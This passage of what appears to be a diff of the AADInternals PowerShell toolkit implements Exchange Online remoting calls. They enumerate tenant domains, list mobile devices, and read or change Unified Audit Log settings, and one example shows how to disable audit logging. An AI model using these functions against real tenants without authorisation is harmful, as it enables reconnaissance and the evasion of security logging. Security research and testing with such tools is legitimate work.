# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message (uses the fixed runspace pool ID)
|
||||
$arguments = @"
|
||||
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List``1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-FederationInformation</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-DomainName:</S><S N="V">$Domain</S></MS></Obj><Obj RefId="14"><MS><S N="N">-BypassAdditionalDomainValidation:</S><Obj N="V" RefId="15"><TN RefId="2"><T>System.Management.Automation.SwitchParameter</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>True</ToString><Props><B N="IsPresent">true</B></Props></Obj></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="16"><TN RefId="3"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="17"><TN RefId="4"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
|
||||
"@
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Get-FederationInformation</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-FederationInfo -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$Domains = @()
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
# Make the command call
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
$get_output = $true
|
||||
|
||||
# Get the output
|
||||
while($get_output)
|
||||
{
|
||||
try
|
||||
{
|
||||
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
|
||||
|
||||
# Update the progress so we know that something is going on..
|
||||
Write-Progress -Activity "Retrieving domains from tenant ($tenantId)" -Status $(Get-WaitingMessage) -PercentComplete 50
|
||||
|
||||
# Loop through streams
|
||||
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
|
||||
{
|
||||
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
|
||||
[xml]$xmlData = $parsed_message.Data
|
||||
|
||||
if($parsed_message.'Message type' -eq "Progress record")
|
||||
{
|
||||
# Extract the StatusDescription and PercentComlete from the message
|
||||
$StatusDescription = (Select-Xml -Xml $xmlData -XPath "//*[@N='StatusDescription']").Node.'#text'
|
||||
[int]$PercentComlete = (Select-Xml -Xml $xmlData -XPath "//*[@N='PercentComplete']").Node.'#text'
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Pipeline output")
|
||||
{
|
||||
$DomainNames = (Select-Xml -Xml $xmlData -XPath "//*[@N='DomainNames']")
|
||||
|
||||
$Domains = $DomainNames.node.lst.S
|
||||
}
|
||||
elseif($parsed_message.'Message type' -eq "Pipeline state")
|
||||
{
|
||||
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
|
||||
if(![string]::IsNullOrEmpty($errorRecord))
|
||||
{
|
||||
# Something went wrong, probably not an admin user
|
||||
Write-Error "Received the following error (probably the user has no admin rights):"
|
||||
Write-Error "$errorRecord"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Loop thru the CommandStates
|
||||
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
|
||||
{
|
||||
# Okay, we're done!
|
||||
$exitCode = $state.ExitCode
|
||||
if(![string]::IsNullOrEmpty($exitCode))
|
||||
{
|
||||
Write-Progress -Activity "Retrieving domains" -Completed
|
||||
$get_output = $false
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Something wen't wrong so exit the loop
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Do nothing
|
||||
}
|
||||
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
# Return domain names
|
||||
return $Domains | Sort-Object
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Removes the shell, a.k.a. disconnects from the ps host
|
||||
# Apr 24th 2019
|
||||
function Remove-PSRPShell
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter()]
|
||||
[Bool]$Oauth=$False,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Shell_Id,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SessionId
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body " " -Action Delete -Shell_Id $Shell_Id
|
||||
|
||||
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
|
||||
|
||||
# Nothing to return..
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Get Mobile Devices
|
||||
# May 9th 2019
|
||||
function Get-MobileDevices
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets mobile devices for the current user or all devices (if admin)
|
||||
|
||||
.DESCRIPTION
|
||||
Retrieves a list of mobile devices using Remote Exchange Online PowerShell
|
||||
|
||||
.Example
|
||||
Get-AADIntMobileDevices -Credentials $Cred
|
||||
|
||||
.Example
|
||||
$at = Get-AADIntAccessTokenForEXO
|
||||
PS C:\>Get-AADIntTenantDomains -AccessToken $at
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message
|
||||
$arguments = @"
|
||||
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-MobileDevice</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History"/><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
|
||||
"@
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Get-MobileDevice</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-MovileDevices -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$mobileDevices = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
|
||||
return $MobileDevices
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
# Get Unified audit log status
|
||||
# Jan 21st 2020
|
||||
function Get-UnifiedAuditLogSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Unified Audit Log settings
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Unified Audit Log settings with Get-AdminAuditLogConfig using Remote Exchange Online PowerShell
|
||||
|
||||
.Example
|
||||
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
|
||||
|
||||
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
|
||||
------------------------------- -----------------------------
|
||||
true 2021-01-22T09:59:51.0870075Z
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForEXO -SaveToCache
|
||||
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
|
||||
|
||||
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
|
||||
------------------------------- -----------------------------
|
||||
true 2021-01-22T09:59:51.0870075Z
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message
|
||||
$arguments = '<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Get-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST /></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="13"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="14"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="15"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>'
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Get-AdminAuditLogConfig</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
|
||||
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
|
||||
return $settings
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Enable or disable Unified Audit Log
|
||||
# Jan 22nd 2020
|
||||
function Set-UnifiedAuditLogSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Enables or disables Unified Audit log
|
||||
|
||||
.DESCRIPTION
|
||||
Enables or disables Unified Audit log Set-AdminAuditLogConfig using Remote Exchange Online PowerShell.
|
||||
It will take hours for the changes to take effect.
|
||||
|
||||
.Example
|
||||
Get-AADIntUnifiedAuditLogSettings -Credentials $Cred
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForEXO -SaveToCache
|
||||
PS C:\>Get-AADIntUnifiedAuditLogSettings | Select Unified*
|
||||
|
||||
UnifiedAuditLogIngestionEnabled UnifiedAuditLogFirstOptInDate
|
||||
------------------------------- -----------------------------
|
||||
true 2021-01-22T09:59:51.0870075Z
|
||||
|
||||
PS C:\>Set-AADIntUnifiedAuditLogSettings -Enabled false
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Bool]$Enable
|
||||
)
|
||||
Process
|
||||
{
|
||||
# A fixed runspacel pool ID, used in PSRP messages
|
||||
$runspacePoolId = [guid]"e5565a06-78ca-41aa-a6ef-4ab9cb1bd5ca"
|
||||
|
||||
# Counter for Object IDs
|
||||
$ObjectId=10
|
||||
|
||||
$Oauth=$false
|
||||
|
||||
# If Credentials is null, create the credentials object from AccessToken manually
|
||||
if($Credentials -eq $null)
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$upn = (Read-Accesstoken $AccessToken).upn
|
||||
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
|
||||
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
|
||||
$Oauth=$True
|
||||
}
|
||||
|
||||
# Create a shell
|
||||
$SessionId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
|
||||
if([string]::IsNullOrEmpty($Shell_Id))
|
||||
{
|
||||
# Something went wrong, exit
|
||||
return
|
||||
}
|
||||
|
||||
# Create an arguments message
|
||||
$arguments = @"
|
||||
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Set-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-UnifiedAuditLogIngestionEnabled:</S><B N="V">$($Enable.ToString().ToLower())</B></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="14"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="15"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="16"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
|
||||
"@
|
||||
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
|
||||
|
||||
$commandId = (New-Guid).ToString().ToUpper()
|
||||
|
||||
$Body = @"
|
||||
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
|
||||
<rsp:Command>Set-AdminAuditLogConfig</rsp:Command>
|
||||
<rsp:Arguments>$message</rsp:Arguments>
|
||||
</rsp:CommandLine>
|
||||
"@
|
||||
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
|
||||
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
|
||||
|
||||
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
|
||||
|
||||
|
||||
# Finally remove the shell
|
||||
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
|
||||
|
||||
|
||||
return $settings
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
-572
@@ -1,572 +0,0 @@
|
||||
# PowerShell Remoting Protocol utils
|
||||
|
||||
# Fragments
|
||||
$const_fragment_start = 0x01
|
||||
$const_fragment_end = 0x02
|
||||
$const_fragment_start_end = 0x03
|
||||
$const_fragment_middle = 0x00
|
||||
$PSRM_message_fragment=@{
|
||||
$const_fragment_start = "Start"
|
||||
$const_fragment_end = "End"
|
||||
$const_fragment_start_end = "Single"
|
||||
$const_fragment_middle = "Middle"
|
||||
}
|
||||
|
||||
# Destinations
|
||||
$const_destination_client = 0x01
|
||||
$const_destination_server = 0x02
|
||||
$PSRM_message_destination=@{
|
||||
$const_destination_client = "Client"
|
||||
$const_destination_server = "Server"
|
||||
}
|
||||
|
||||
# Message types
|
||||
$const_SESSION_CAPABILITY = 0x00010002
|
||||
$const_INIT_RUNSPACEPOOL = 0x00010004
|
||||
$const_PUBLIC_KEY = 0x00010005
|
||||
$const_ENCRYPTED_SESSION_KEY = 0x00010006
|
||||
$const_PUBLIC_KEY_REQUEST = 0x00010007
|
||||
$const_CONNECT_RUNSPACEPOOL = 0x00010008
|
||||
$const_SET_MAX_RUNSPACES = 0x00021002
|
||||
$const_SET_MIN_RUNSPACES = 0x00021003
|
||||
$const_RUNSPACE_AVAILABILITY = 0x00021004
|
||||
$const_RUNSPACEPOOL_STATE = 0x00021005
|
||||
$const_CREATE_PIPELINE = 0x00021006
|
||||
$const_GET_AVAILABLE_RUNSPACES = 0x00021007
|
||||
$const_USER_EVENT = 0x00021008
|
||||
$const_APPLICATION_PRIVATE_DATA = 0x00021009
|
||||
$const_GET_COMMAND_METADATA = 0x0002100A
|
||||
$const_RUNSPACEPOOL_INIT_DATA = 0x0002100B
|
||||
$const_RESET_RUNSPACE_STATE = 0x0002100C
|
||||
$const_RUNSPACEPOOL_HOST_CALL = 0x00021100
|
||||
$const_RUNSPACEPOOL_HOST_RESPONSE=0x00021101
|
||||
$const_PIPELINE_INPUT = 0x00041002
|
||||
$const_END_OF_PIPELINE_INPUT = 0x00041003
|
||||
$const_PIPELINE_OUTPUT = 0x00041004
|
||||
$const_ERROR_RECORD = 0x00041005
|
||||
$const_PIPELINE_STATE = 0x00041006
|
||||
$const_DEBUG_RECORD = 0x00041007
|
||||
$const_VERBOSE_RECORD = 0x00041008
|
||||
$const_WARNING_RECORD = 0x00041009
|
||||
$const_PROGRESS_RECORD = 0x00041010
|
||||
$const_INFORMATION_RECORD = 0x00041011
|
||||
$const_PIPELINE_HOST_CALL = 0x00041100
|
||||
$const_PIPELINE_HOST_RESPONSE = 0x00041101
|
||||
|
||||
$PSRM_message_types=@{
|
||||
$const_SESSION_CAPABILITY = "Session capability"
|
||||
$const_INIT_RUNSPACEPOOL = "Init runspacepool"
|
||||
$const_PUBLIC_KEY = "Public key"
|
||||
$const_ENCRYPTED_SESSION_KEY = "Encrypted session key"
|
||||
$const_PUBLIC_KEY_REQUEST = "Public key request"
|
||||
$const_SET_MAX_RUNSPACES = "Set max runspaces"
|
||||
$const_SET_MIN_RUNSPACES = "Set min runspaces"
|
||||
$const_RUNSPACE_AVAILABILITY = "Runspace availability"
|
||||
$const_APPLICATION_PRIVATE_DATA = "Application private data"
|
||||
$const_GET_COMMAND_METADATA = "Get command metadata"
|
||||
$const_RUNSPACEPOOL_STATE = "Runspool state"
|
||||
$const_CREATE_PIPELINE = "Create pipeline"
|
||||
$const_GET_AVAILABLE_RUNSPACES = "Get available runspaces"
|
||||
$const_USER_EVENT = "User event"
|
||||
$const_RUNSPACEPOOL_HOST_CALL = "Runspacepool host call"
|
||||
$const_RUNSPACEPOOL_HOST_RESPONSE = "Runspacepool host response"
|
||||
$const_PIPELINE_STATE = "Pipeline state"
|
||||
$const_PIPELINE_INPUT = "Pipeline input"
|
||||
$const_END_OF_PIPELINE_INPUT = "End of pipeline input"
|
||||
$const_PIPELINE_OUTPUT = "Pipeline output"
|
||||
$const_PIPELINE_HOST_CALL = "Pipeline host call"
|
||||
$const_PIPELINE_HOST_RESPONSE = "Pipeline host response"
|
||||
$const_ERROR_RECORD = "Error record"
|
||||
$const_DEBUG_RECORD = "Debug record"
|
||||
$const_VERBOSE_RECORD = "Verbose record"
|
||||
$const_WARNING_RECORD = "Warning record"
|
||||
$const_PROGRESS_RECORD = "Progress record"
|
||||
$const_INFORMATION_RECORD = "Informaition record"
|
||||
$const_CONNECT_RUNSPACEPOOL = "Connect runspacepool"
|
||||
$const_RUNSPACEPOOL_INIT_DATA = "Runspacepool init data"
|
||||
